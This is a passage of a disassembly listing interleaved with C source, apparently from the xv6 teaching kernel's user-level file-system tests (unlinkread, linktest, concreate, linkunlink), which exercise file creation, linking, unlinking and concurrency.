2355: 89 45 f0 mov %eax,-0x10(%ebp)
write(fd1, "yyy", 3);
2358: c7 44 24 08 03 00 00 movl $0x3,0x8(%esp)
235f: 00
2360: c7 44 24 04 3f 5a 00 movl $0x5a3f,0x4(%esp)
2367: 00
2368: 8b 45 f0 mov -0x10(%ebp),%eax
236b: 89 04 24 mov %eax,(%esp)
236e: e8 c5 28 00 00 call 4c38 <write>
close(fd1);
2373: 8b 45 f0 mov -0x10(%ebp),%eax
2376: 89 04 24 mov %eax,(%esp)
2379: e8 c2 28 00 00 call 4c40 <close>
if(read(fd, buf, sizeof(buf)) != 5){
237e: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
2385: 00
2386: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
238d: 00
238e: 8b 45 f4 mov -0xc(%ebp),%eax
2391: 89 04 24 mov %eax,(%esp)
2394: e8 97 28 00 00 call 4c30 <read>
2399: 83 f8 05 cmp $0x5,%eax
239c: 74 19 je 23b7 <unlinkread+0x14b>
printf(1, "unlinkread read failed");
239e: c7 44 24 04 43 5a 00 movl $0x5a43,0x4(%esp)
23a5: 00
23a6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23ad: e8 0e 2a 00 00 call 4dc0 <printf>
exit();
23b2: e8 61 28 00 00 call 4c18 <exit>
}
if(buf[0] != 'h'){
23b7: 0f b6 05 c0 9a 00 00 movzbl 0x9ac0,%eax
23be: 3c 68 cmp $0x68,%al
23c0: 74 19 je 23db <unlinkread+0x16f>
printf(1, "unlinkread wrong data\n");
23c2: c7 44 24 04 5a 5a 00 movl $0x5a5a,0x4(%esp)
23c9: 00
23ca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23d1: e8 ea 29 00 00 call 4dc0 <printf>
exit();
23d6: e8 3d 28 00 00 call 4c18 <exit>
}
if(write(fd, buf, 10) != 10){
23db: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
23e2: 00
23e3: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
23ea: 00
23eb: 8b 45 f4 mov -0xc(%ebp),%eax
23ee: 89 04 24 mov %eax,(%esp)
23f1: e8 42 28 00 00 call 4c38 <write>
23f6: 83 f8 0a cmp $0xa,%eax
23f9: 74 19 je 2414 <unlinkread+0x1a8>
printf(1, "unlinkread write failed\n");
23fb: c7 44 24 04 71 5a 00 movl $0x5a71,0x4(%esp)
2402: 00
2403: c7 04 24 01 00 00 00 movl $0x1,(%esp)
240a: e8 b1 29 00 00 call 4dc0 <printf>
exit();
240f: e8 04 28 00 00 call 4c18 <exit>
}
close(fd);
2414: 8b 45 f4 mov -0xc(%ebp),%eax
2417: 89 04 24 mov %eax,(%esp)
241a: e8 21 28 00 00 call 4c40 <close>
unlink("unlinkread");
241f: c7 04 24 e2 59 00 00 movl $0x59e2,(%esp)
2426: e8 3d 28 00 00 call 4c68 <unlink>
printf(1, "unlinkread ok\n");
242b: c7 44 24 04 8a 5a 00 movl $0x5a8a,0x4(%esp)
2432: 00
2433: c7 04 24 01 00 00 00 movl $0x1,(%esp)
243a: e8 81 29 00 00 call 4dc0 <printf>
}
243f: c9 leave
2440: c3 ret
00002441 <linktest>:
void
linktest(void)
{
2441: 55 push %ebp
2442: 89 e5 mov %esp,%ebp
2444: 83 ec 28 sub $0x28,%esp
int fd;
printf(1, "linktest\n");
2447: c7 44 24 04 99 5a 00 movl $0x5a99,0x4(%esp)
244e: 00
244f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2456: e8 65 29 00 00 call 4dc0 <printf>
unlink("lf1");
245b: c7 04 24 a3 5a 00 00 movl $0x5aa3,(%esp)
2462: e8 01 28 00 00 call 4c68 <unlink>
unlink("lf2");
2467: c7 04 24 a7 5a 00 00 movl $0x5aa7,(%esp)
246e: e8 f5 27 00 00 call 4c68 <unlink>
fd = open("lf1", O_CREATE|O_RDWR);
2473: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
247a: 00
247b: c7 04 24 a3 5a 00 00 movl $0x5aa3,(%esp)
2482: e8 d1 27 00 00 call 4c58 <open>
2487: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
248a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
248e: 79 19 jns 24a9 <linktest+0x68>
printf(1, "create lf1 failed\n");
2490: c7 44 24 04 ab 5a 00 movl $0x5aab,0x4(%esp)
2497: 00
2498: c7 04 24 01 00 00 00 movl $0x1,(%esp)
249f: e8 1c 29 00 00 call 4dc0 <printf>
exit();
24a4: e8 6f 27 00 00 call 4c18 <exit>
}
if(write(fd, "hello", 5) != 5){
24a9: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
24b0: 00
24b1: c7 44 24 04 07 5a 00 movl $0x5a07,0x4(%esp)
24b8: 00
24b9: 8b 45 f4 mov -0xc(%ebp),%eax
24bc: 89 04 24 mov %eax,(%esp)
24bf: e8 74 27 00 00 call 4c38 <write>
24c4: 83 f8 05 cmp $0x5,%eax
24c7: 74 19 je 24e2 <linktest+0xa1>
printf(1, "write lf1 failed\n");
24c9: c7 44 24 04 be 5a 00 movl $0x5abe,0x4(%esp)
24d0: 00
24d1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24d8: e8 e3 28 00 00 call 4dc0 <printf>
exit();
24dd: e8 36 27 00 00 call 4c18 <exit>
}
close(fd);
24e2: 8b 45 f4 mov -0xc(%ebp),%eax
24e5: 89 04 24 mov %eax,(%esp)
24e8: e8 53 27 00 00 call 4c40 <close>
if(link("lf1", "lf2") < 0){
24ed: c7 44 24 04 a7 5a 00 movl $0x5aa7,0x4(%esp)
24f4: 00
24f5: c7 04 24 a3 5a 00 00 movl $0x5aa3,(%esp)
24fc: e8 77 27 00 00 call 4c78 <link>
2501: 85 c0 test %eax,%eax
2503: 79 19 jns 251e <linktest+0xdd>
printf(1, "link lf1 lf2 failed\n");
2505: c7 44 24 04 d0 5a 00 movl $0x5ad0,0x4(%esp)
250c: 00
250d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2514: e8 a7 28 00 00 call 4dc0 <printf>
exit();
2519: e8 fa 26 00 00 call 4c18 <exit>
}
unlink("lf1");
251e: c7 04 24 a3 5a 00 00 movl $0x5aa3,(%esp)
2525: e8 3e 27 00 00 call 4c68 <unlink>
if(open("lf1", 0) >= 0){
252a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2531: 00
2532: c7 04 24 a3 5a 00 00 movl $0x5aa3,(%esp)
2539: e8 1a 27 00 00 call 4c58 <open>
253e: 85 c0 test %eax,%eax
2540: 78 19 js 255b <linktest+0x11a>
printf(1, "unlinked lf1 but it is still there!\n");
2542: c7 44 24 04 e8 5a 00 movl $0x5ae8,0x4(%esp)
2549: 00
254a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2551: e8 6a 28 00 00 call 4dc0 <printf>
exit();
2556: e8 bd 26 00 00 call 4c18 <exit>
}
fd = open("lf2", 0);
255b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2562: 00
2563: c7 04 24 a7 5a 00 00 movl $0x5aa7,(%esp)
256a: e8 e9 26 00 00 call 4c58 <open>
256f: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2572: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2576: 79 19 jns 2591 <linktest+0x150>
printf(1, "open lf2 failed\n");
2578: c7 44 24 04 0d 5b 00 movl $0x5b0d,0x4(%esp)
257f: 00
2580: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2587: e8 34 28 00 00 call 4dc0 <printf>
exit();
258c: e8 87 26 00 00 call 4c18 <exit>
}
if(read(fd, buf, sizeof(buf)) != 5){
2591: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
2598: 00
2599: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
25a0: 00
25a1: 8b 45 f4 mov -0xc(%ebp),%eax
25a4: 89 04 24 mov %eax,(%esp)
25a7: e8 84 26 00 00 call 4c30 <read>
25ac: 83 f8 05 cmp $0x5,%eax
25af: 74 19 je 25ca <linktest+0x189>
printf(1, "read lf2 failed\n");
25b1: c7 44 24 04 1e 5b 00 movl $0x5b1e,0x4(%esp)
25b8: 00
25b9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25c0: e8 fb 27 00 00 call 4dc0 <printf>
exit();
25c5: e8 4e 26 00 00 call 4c18 <exit>
}
close(fd);
25ca: 8b 45 f4 mov -0xc(%ebp),%eax
25cd: 89 04 24 mov %eax,(%esp)
25d0: e8 6b 26 00 00 call 4c40 <close>
if(link("lf2", "lf2") >= 0){
25d5: c7 44 24 04 a7 5a 00 movl $0x5aa7,0x4(%esp)
25dc: 00
25dd: c7 04 24 a7 5a 00 00 movl $0x5aa7,(%esp)
25e4: e8 8f 26 00 00 call 4c78 <link>
25e9: 85 c0 test %eax,%eax
25eb: 78 19 js 2606 <linktest+0x1c5>
printf(1, "link lf2 lf2 succeeded! oops\n");
25ed: c7 44 24 04 2f 5b 00 movl $0x5b2f,0x4(%esp)
25f4: 00
25f5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25fc: e8 bf 27 00 00 call 4dc0 <printf>
exit();
2601: e8 12 26 00 00 call 4c18 <exit>
}
unlink("lf2");
2606: c7 04 24 a7 5a 00 00 movl $0x5aa7,(%esp)
260d: e8 56 26 00 00 call 4c68 <unlink>
if(link("lf2", "lf1") >= 0){
2612: c7 44 24 04 a3 5a 00 movl $0x5aa3,0x4(%esp)
2619: 00
261a: c7 04 24 a7 5a 00 00 movl $0x5aa7,(%esp)
2621: e8 52 26 00 00 call 4c78 <link>
2626: 85 c0 test %eax,%eax
2628: 78 19 js 2643 <linktest+0x202>
printf(1, "link non-existant succeeded! oops\n");
262a: c7 44 24 04 50 5b 00 movl $0x5b50,0x4(%esp)
2631: 00
2632: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2639: e8 82 27 00 00 call 4dc0 <printf>
exit();
263e: e8 d5 25 00 00 call 4c18 <exit>
}
if(link(".", "lf1") >= 0){
2643: c7 44 24 04 a3 5a 00 movl $0x5aa3,0x4(%esp)
264a: 00
264b: c7 04 24 73 5b 00 00 movl $0x5b73,(%esp)
2652: e8 21 26 00 00 call 4c78 <link>
2657: 85 c0 test %eax,%eax
2659: 78 19 js 2674 <linktest+0x233>
printf(1, "link . lf1 succeeded! oops\n");
265b: c7 44 24 04 75 5b 00 movl $0x5b75,0x4(%esp)
2662: 00
2663: c7 04 24 01 00 00 00 movl $0x1,(%esp)
266a: e8 51 27 00 00 call 4dc0 <printf>
exit();
266f: e8 a4 25 00 00 call 4c18 <exit>
}
printf(1, "linktest ok\n");
2674: c7 44 24 04 91 5b 00 movl $0x5b91,0x4(%esp)
267b: 00
267c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2683: e8 38 27 00 00 call 4dc0 <printf>
}
2688: c9 leave
2689: c3 ret
0000268a <concreate>:
// test concurrent create/link/unlink of the same file
void
concreate(void)
{
268a: 55 push %ebp
268b: 89 e5 mov %esp,%ebp
268d: 83 ec 68 sub $0x68,%esp
struct {
ushort inum;
char name[14];
} de;
printf(1, "concreate test\n");
2690: c7 44 24 04 9e 5b 00 movl $0x5b9e,0x4(%esp)
2697: 00
2698: c7 04 24 01 00 00 00 movl $0x1,(%esp)
269f: e8 1c 27 00 00 call 4dc0 <printf>
file[0] = 'C';
26a4: c6 45 e5 43 movb $0x43,-0x1b(%ebp)
file[2] = '\0';
26a8: c6 45 e7 00 movb $0x0,-0x19(%ebp)
for(i = 0; i < 40; i++){
26ac: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
26b3: e9 f7 00 00 00 jmp 27af <concreate+0x125>
file[1] = '0' + i;
26b8: 8b 45 f4 mov -0xc(%ebp),%eax
26bb: 83 c0 30 add $0x30,%eax
26be: 88 45 e6 mov %al,-0x1a(%ebp)
unlink(file);
26c1: 8d 45 e5 lea -0x1b(%ebp),%eax
26c4: 89 04 24 mov %eax,(%esp)
26c7: e8 9c 25 00 00 call 4c68 <unlink>
pid = fork();
26cc: e8 3f 25 00 00 call 4c10 <fork>
26d1: 89 45 ec mov %eax,-0x14(%ebp)
if(pid && (i % 3) == 1){
26d4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
26d8: 74 3a je 2714 <concreate+0x8a>
26da: 8b 4d f4 mov -0xc(%ebp),%ecx
26dd: ba 56 55 55 55 mov $0x55555556,%edx
26e2: 89 c8 mov %ecx,%eax
26e4: f7 ea imul %edx
26e6: 89 c8 mov %ecx,%eax
26e8: c1 f8 1f sar $0x1f,%eax
26eb: 29 c2 sub %eax,%edx
26ed: 89 d0 mov %edx,%eax
26ef: 01 c0 add %eax,%eax
26f1: 01 d0 add %edx,%eax
26f3: 29 c1 sub %eax,%ecx
26f5: 89 ca mov %ecx,%edx
26f7: 83 fa 01 cmp $0x1,%edx
26fa: 75 18 jne 2714 <concreate+0x8a>
link("C0", file);
26fc: 8d 45 e5 lea -0x1b(%ebp),%eax
26ff: 89 44 24 04 mov %eax,0x4(%esp)
2703: c7 04 24 ae 5b 00 00 movl $0x5bae,(%esp)
270a: e8 69 25 00 00 call 4c78 <link>
270f: e9 87 00 00 00 jmp 279b <concreate+0x111>
} else if(pid == 0 && (i % 5) == 1){
2714: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2718: 75 3a jne 2754 <concreate+0xca>
271a: 8b 4d f4 mov -0xc(%ebp),%ecx
271d: ba 67 66 66 66 mov $0x66666667,%edx
2722: 89 c8 mov %ecx,%eax
2724: f7 ea imul %edx
2726: d1 fa sar %edx
2728: 89 c8 mov %ecx,%eax
272a: c1 f8 1f sar $0x1f,%eax
272d: 29 c2 sub %eax,%edx
272f: 89 d0 mov %edx,%eax
2731: c1 e0 02 shl $0x2,%eax
2734: 01 d0 add %edx,%eax
2736: 29 c1 sub %eax,%ecx
2738: 89 ca mov %ecx,%edx
273a: 83 fa 01 cmp $0x1,%edx
273d: 75 15 jne 2754 <concreate+0xca>
link("C0", file);
273f: 8d 45 e5 lea -0x1b(%ebp),%eax
2742: 89 44 24 04 mov %eax,0x4(%esp)
2746: c7 04 24 ae 5b 00 00 movl $0x5bae,(%esp)
274d: e8 26 25 00 00 call 4c78 <link>
2752: eb 47 jmp 279b <concreate+0x111>
} else {
fd = open(file, O_CREATE | O_RDWR);
2754: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
275b: 00
275c: 8d 45 e5 lea -0x1b(%ebp),%eax
275f: 89 04 24 mov %eax,(%esp)
2762: e8 f1 24 00 00 call 4c58 <open>
2767: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
276a: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
276e: 79 20 jns 2790 <concreate+0x106>
printf(1, "concreate create %s failed\n", file);
2770: 8d 45 e5 lea -0x1b(%ebp),%eax
2773: 89 44 24 08 mov %eax,0x8(%esp)
2777: c7 44 24 04 b1 5b 00 movl $0x5bb1,0x4(%esp)
277e: 00
277f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2786: e8 35 26 00 00 call 4dc0 <printf>
exit();
278b: e8 88 24 00 00 call 4c18 <exit>
}
close(fd);
2790: 8b 45 e8 mov -0x18(%ebp),%eax
2793: 89 04 24 mov %eax,(%esp)
2796: e8 a5 24 00 00 call 4c40 <close>
}
if(pid == 0)
279b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
279f: 75 05 jne 27a6 <concreate+0x11c>
exit();
27a1: e8 72 24 00 00 call 4c18 <exit>
else
wait();
27a6: e8 75 24 00 00 call 4c20 <wait>
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
27ab: 83 45 f4 01 addl $0x1,-0xc(%ebp)
27af: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
27b3: 0f 8e ff fe ff ff jle 26b8 <concreate+0x2e>
exit();
else
wait();
}
memset(fa, 0, sizeof(fa));
27b9: c7 44 24 08 28 00 00 movl $0x28,0x8(%esp)
27c0: 00
27c1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
27c8: 00
27c9: 8d 45 bd lea -0x43(%ebp),%eax
27cc: 89 04 24 mov %eax,(%esp)
27cf: e8 97 22 00 00 call 4a6b <memset>
fd = open(".", 0);
27d4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
27db: 00
27dc: c7 04 24 73 5b 00 00 movl $0x5b73,(%esp)
27e3: e8 70 24 00 00 call 4c58 <open>
27e8: 89 45 e8 mov %eax,-0x18(%ebp)
n = 0;
27eb: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
while(read(fd, &de, sizeof(de)) > 0){
27f2: e9 a1 00 00 00 jmp 2898 <concreate+0x20e>
if(de.inum == 0)
27f7: 0f b7 45 ac movzwl -0x54(%ebp),%eax
27fb: 66 85 c0 test %ax,%ax
27fe: 75 05 jne 2805 <concreate+0x17b>
continue;
2800: e9 93 00 00 00 jmp 2898 <concreate+0x20e>
if(de.name[0] == 'C' && de.name[2] == '\0'){
2805: 0f b6 45 ae movzbl -0x52(%ebp),%eax
2809: 3c 43 cmp $0x43,%al
280b: 0f 85 87 00 00 00 jne 2898 <concreate+0x20e>
2811: 0f b6 45 b0 movzbl -0x50(%ebp),%eax
2815: 84 c0 test %al,%al
2817: 75 7f jne 2898 <concreate+0x20e>
i = de.name[1] - '0';
2819: 0f b6 45 af movzbl -0x51(%ebp),%eax
281d: 0f be c0 movsbl %al,%eax
2820: 83 e8 30 sub $0x30,%eax
2823: 89 45 f4 mov %eax,-0xc(%ebp)
if(i < 0 || i >= sizeof(fa)){
2826: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
282a: 78 08 js 2834 <concreate+0x1aa>
282c: 8b 45 f4 mov -0xc(%ebp),%eax
282f: 83 f8 27 cmp $0x27,%eax
2832: 76 23 jbe 2857 <concreate+0x1cd>
printf(1, "concreate weird file %s\n", de.name);
2834: 8d 45 ac lea -0x54(%ebp),%eax
2837: 83 c0 02 add $0x2,%eax
283a: 89 44 24 08 mov %eax,0x8(%esp)
283e: c7 44 24 04 cd 5b 00 movl $0x5bcd,0x4(%esp)
2845: 00
2846: c7 04 24 01 00 00 00 movl $0x1,(%esp)
284d: e8 6e 25 00 00 call 4dc0 <printf>
exit();
2852: e8 c1 23 00 00 call 4c18 <exit>
}
if(fa[i]){
2857: 8d 55 bd lea -0x43(%ebp),%edx
285a: 8b 45 f4 mov -0xc(%ebp),%eax
285d: 01 d0 add %edx,%eax
285f: 0f b6 00 movzbl (%eax),%eax
2862: 84 c0 test %al,%al
2864: 74 23 je 2889 <concreate+0x1ff>
printf(1, "concreate duplicate file %s\n", de.name);
2866: 8d 45 ac lea -0x54(%ebp),%eax
2869: 83 c0 02 add $0x2,%eax
286c: 89 44 24 08 mov %eax,0x8(%esp)
2870: c7 44 24 04 e6 5b 00 movl $0x5be6,0x4(%esp)
2877: 00
2878: c7 04 24 01 00 00 00 movl $0x1,(%esp)
287f: e8 3c 25 00 00 call 4dc0 <printf>
exit();
2884: e8 8f 23 00 00 call 4c18 <exit>
}
fa[i] = 1;
2889: 8d 55 bd lea -0x43(%ebp),%edx
288c: 8b 45 f4 mov -0xc(%ebp),%eax
288f: 01 d0 add %edx,%eax
2891: c6 00 01 movb $0x1,(%eax)
n++;
2894: 83 45 f0 01 addl $0x1,-0x10(%ebp)
}
memset(fa, 0, sizeof(fa));
fd = open(".", 0);
n = 0;
while(read(fd, &de, sizeof(de)) > 0){
2898: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
289f: 00
28a0: 8d 45 ac lea -0x54(%ebp),%eax
28a3: 89 44 24 04 mov %eax,0x4(%esp)
28a7: 8b 45 e8 mov -0x18(%ebp),%eax
28aa: 89 04 24 mov %eax,(%esp)
28ad: e8 7e 23 00 00 call 4c30 <read>
28b2: 85 c0 test %eax,%eax
28b4: 0f 8f 3d ff ff ff jg 27f7 <concreate+0x16d>
}
fa[i] = 1;
n++;
}
}
close(fd);
28ba: 8b 45 e8 mov -0x18(%ebp),%eax
28bd: 89 04 24 mov %eax,(%esp)
28c0: e8 7b 23 00 00 call 4c40 <close>
if(n != 40){
28c5: 83 7d f0 28 cmpl $0x28,-0x10(%ebp)
28c9: 74 19 je 28e4 <concreate+0x25a>
printf(1, "concreate not enough files in directory listing\n");
28cb: c7 44 24 04 04 5c 00 movl $0x5c04,0x4(%esp)
28d2: 00
28d3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28da: e8 e1 24 00 00 call 4dc0 <printf>
exit();
28df: e8 34 23 00 00 call 4c18 <exit>
}
for(i = 0; i < 40; i++){
28e4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
28eb: e9 2d 01 00 00 jmp 2a1d <concreate+0x393>
file[1] = '0' + i;
28f0: 8b 45 f4 mov -0xc(%ebp),%eax
28f3: 83 c0 30 add $0x30,%eax
28f6: 88 45 e6 mov %al,-0x1a(%ebp)
pid = fork();
28f9: e8 12 23 00 00 call 4c10 <fork>
28fe: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
2901: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2905: 79 19 jns 2920 <concreate+0x296>
printf(1, "fork failed\n");
2907: c7 44 24 04 f1 57 00 movl $0x57f1,0x4(%esp)
290e: 00
290f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2916: e8 a5 24 00 00 call 4dc0 <printf>
exit();
291b: e8 f8 22 00 00 call 4c18 <exit>
}
if(((i % 3) == 0 && pid == 0) ||
2920: 8b 4d f4 mov -0xc(%ebp),%ecx
2923: ba 56 55 55 55 mov $0x55555556,%edx
2928: 89 c8 mov %ecx,%eax
292a: f7 ea imul %edx
292c: 89 c8 mov %ecx,%eax
292e: c1 f8 1f sar $0x1f,%eax
2931: 29 c2 sub %eax,%edx
2933: 89 d0 mov %edx,%eax
2935: 01 c0 add %eax,%eax
2937: 01 d0 add %edx,%eax
2939: 29 c1 sub %eax,%ecx
293b: 89 ca mov %ecx,%edx
293d: 85 d2 test %edx,%edx
293f: 75 06 jne 2947 <concreate+0x2bd>
2941: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2945: 74 28 je 296f <concreate+0x2e5>
((i % 3) == 1 && pid != 0)){
2947: 8b 4d f4 mov -0xc(%ebp),%ecx
294a: ba 56 55 55 55 mov $0x55555556,%edx
294f: 89 c8 mov %ecx,%eax
2951: f7 ea imul %edx
2953: 89 c8 mov %ecx,%eax
2955: c1 f8 1f sar $0x1f,%eax
2958: 29 c2 sub %eax,%edx
295a: 89 d0 mov %edx,%eax
295c: 01 c0 add %eax,%eax
295e: 01 d0 add %edx,%eax
2960: 29 c1 sub %eax,%ecx
2962: 89 ca mov %ecx,%edx
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
exit();
}
if(((i % 3) == 0 && pid == 0) ||
2964: 83 fa 01 cmp $0x1,%edx
2967: 75 74 jne 29dd <concreate+0x353>
((i % 3) == 1 && pid != 0)){
2969: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
296d: 74 6e je 29dd <concreate+0x353>
close(open(file, 0));
296f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2976: 00
2977: 8d 45 e5 lea -0x1b(%ebp),%eax
297a: 89 04 24 mov %eax,(%esp)
297d: e8 d6 22 00 00 call 4c58 <open>
2982: 89 04 24 mov %eax,(%esp)
2985: e8 b6 22 00 00 call 4c40 <close>
close(open(file, 0));
298a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2991: 00
2992: 8d 45 e5 lea -0x1b(%ebp),%eax
2995: 89 04 24 mov %eax,(%esp)
2998: e8 bb 22 00 00 call 4c58 <open>
299d: 89 04 24 mov %eax,(%esp)
29a0: e8 9b 22 00 00 call 4c40 <close>
close(open(file, 0));
29a5: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
29ac: 00
29ad: 8d 45 e5 lea -0x1b(%ebp),%eax
29b0: 89 04 24 mov %eax,(%esp)
29b3: e8 a0 22 00 00 call 4c58 <open>
29b8: 89 04 24 mov %eax,(%esp)
29bb: e8 80 22 00 00 call 4c40 <close>
close(open(file, 0));
29c0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
29c7: 00
29c8: 8d 45 e5 lea -0x1b(%ebp),%eax
29cb: 89 04 24 mov %eax,(%esp)
29ce: e8 85 22 00 00 call 4c58 <open>
29d3: 89 04 24 mov %eax,(%esp)
29d6: e8 65 22 00 00 call 4c40 <close>
29db: eb 2c jmp 2a09 <concreate+0x37f>
} else {
unlink(file);
29dd: 8d 45 e5 lea -0x1b(%ebp),%eax
29e0: 89 04 24 mov %eax,(%esp)
29e3: e8 80 22 00 00 call 4c68 <unlink>
unlink(file);
29e8: 8d 45 e5 lea -0x1b(%ebp),%eax
29eb: 89 04 24 mov %eax,(%esp)
29ee: e8 75 22 00 00 call 4c68 <unlink>
unlink(file);
29f3: 8d 45 e5 lea -0x1b(%ebp),%eax
29f6: 89 04 24 mov %eax,(%esp)
29f9: e8 6a 22 00 00 call 4c68 <unlink>
unlink(file);
29fe: 8d 45 e5 lea -0x1b(%ebp),%eax
2a01: 89 04 24 mov %eax,(%esp)
2a04: e8 5f 22 00 00 call 4c68 <unlink>
}
if(pid == 0)
2a09: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2a0d: 75 05 jne 2a14 <concreate+0x38a>
exit();
2a0f: e8 04 22 00 00 call 4c18 <exit>
else
wait();
2a14: e8 07 22 00 00 call 4c20 <wait>
if(n != 40){
printf(1, "concreate not enough files in directory listing\n");
exit();
}
for(i = 0; i < 40; i++){
2a19: 83 45 f4 01 addl $0x1,-0xc(%ebp)
2a1d: 83 7d f4 27 cmpl $0x27,-0xc(%ebp)
2a21: 0f 8e c9 fe ff ff jle 28f0 <concreate+0x266>
exit();
else
wait();
}
printf(1, "concreate ok\n");
2a27: c7 44 24 04 35 5c 00 movl $0x5c35,0x4(%esp)
2a2e: 00
2a2f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a36: e8 85 23 00 00 call 4dc0 <printf>
}
2a3b: c9 leave
2a3c: c3 ret
00002a3d <linkunlink>:
// another concurrent link/unlink/create test,
// to look for deadlocks.
void
linkunlink()
{
2a3d: 55 push %ebp
2a3e: 89 e5 mov %esp,%ebp
2a40: 83 ec 28 sub $0x28,%esp
int pid, i;
printf(1, "linkunlink test\n");
2a43: c7 44 24 04 43 5c 00 movl $0x5c43,0x4(%esp)
2a4a: 00
2a4b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a52: e8 69 23 00 00 call 4dc0 <printf>
unlink("x");
2a57: c7 04 24 aa 57 00 00 movl $0x57aa,(%esp)
2a5e: e8 05 22 00 00 call 4c68 <unlink>
pid = fork();
2a63: e8 a8 21 00 00 call 4c10 <fork>
2a68: 89 45 ec mov %eax,-0x14(%ebp)
if(pid < 0){
2a6b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2a6f: 79 19 jns 2a8a <linkunlink+0x4d>
printf(1, "fork failed\n");
2a71: c7 44 24 04 f1 57 00 movl $0x57f1,0x4(%esp)
2a78: 00
2a79: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a80: e8 3b 23 00 00 call 4dc0 <printf>
exit();
2a85: e8 8e 21 00 00 call 4c18 <exit>
}
unsigned int x = (pid ? 1 : 97);
2a8a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2a8e: 74 07 je 2a97 <linkunlink+0x5a>
2a90: b8 01 00 00 00 mov $0x1,%eax
2a95: eb 05 jmp 2a9c <linkunlink+0x5f>
2a97: b8 61 00 00 00 mov $0x61,%eax
2a9c: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; i < 100; i++){
2a9f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2aa6: e9 8e 00 00 00 jmp 2b39 <linkunlink+0xfc>
x = x * 1103515245 + 12345;
2aab: 8b 45 f0 mov -0x10(%ebp),%eax
2aae: 69 c0 6d 4e c6 41 imul $0x41c64e6d,%eax,%eax
2ab4: 05 39 30 00 00 add $0x3039,%eax
2ab9: 89 45 f0 mov %eax,-0x10(%ebp)
if((x % 3) == 0){
2abc: 8b 4d f0 mov -0x10(%ebp),%ecx
2abf: ba ab aa aa aa mov $0xaaaaaaab,%edx
2ac4: 89 c8 mov %ecx,%eax
2ac6: f7 e2 mul %edx
2ac8: d1 ea shr %edx
2aca: 89 d0 mov %edx,%eax
2acc: 01 c0 add %eax,%eax
2ace: 01 d0 add %edx,%eax
2ad0: 29 c1 sub %eax,%ecx
2ad2: 89 ca mov %ecx,%edx
2ad4: 85 d2 test %edx,%edx
2ad6: 75 1e jne 2af6 <linkunlink+0xb9>
close(open("x", O_RDWR | O_CREATE));
2ad8: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2adf: 00
2ae0: c7 04 24 aa 57 00 00 movl $0x57aa,(%esp)
2ae7: e8 6c 21 00 00 call 4c58 <open>
2aec: 89 04 24 mov %eax,(%esp)
2aef: e8 4c 21 00 00 call 4c40 <close>
2af4: eb 3f jmp 2b35 <linkunlink+0xf8>
} else if((x % 3) == 1){
2af6: 8b 4d f0 mov -0x10(%ebp),%ecx
2af9: ba ab aa aa aa mov $0xaaaaaaab,%edx
2afe: 89 c8 mov %ecx,%eax
2b00: f7 e2 mul %edx
2b02: d1 ea shr %edx
2b04: 89 d0 mov %edx,%eax
2b06: 01 c0 add %eax,%eax
2b08: 01 d0 add %edx,%eax
2b0a: 29 c1 sub %eax,%ecx
2b0c: 89 ca mov %ecx,%edx
2b0e: 83 fa 01 cmp $0x1,%edx
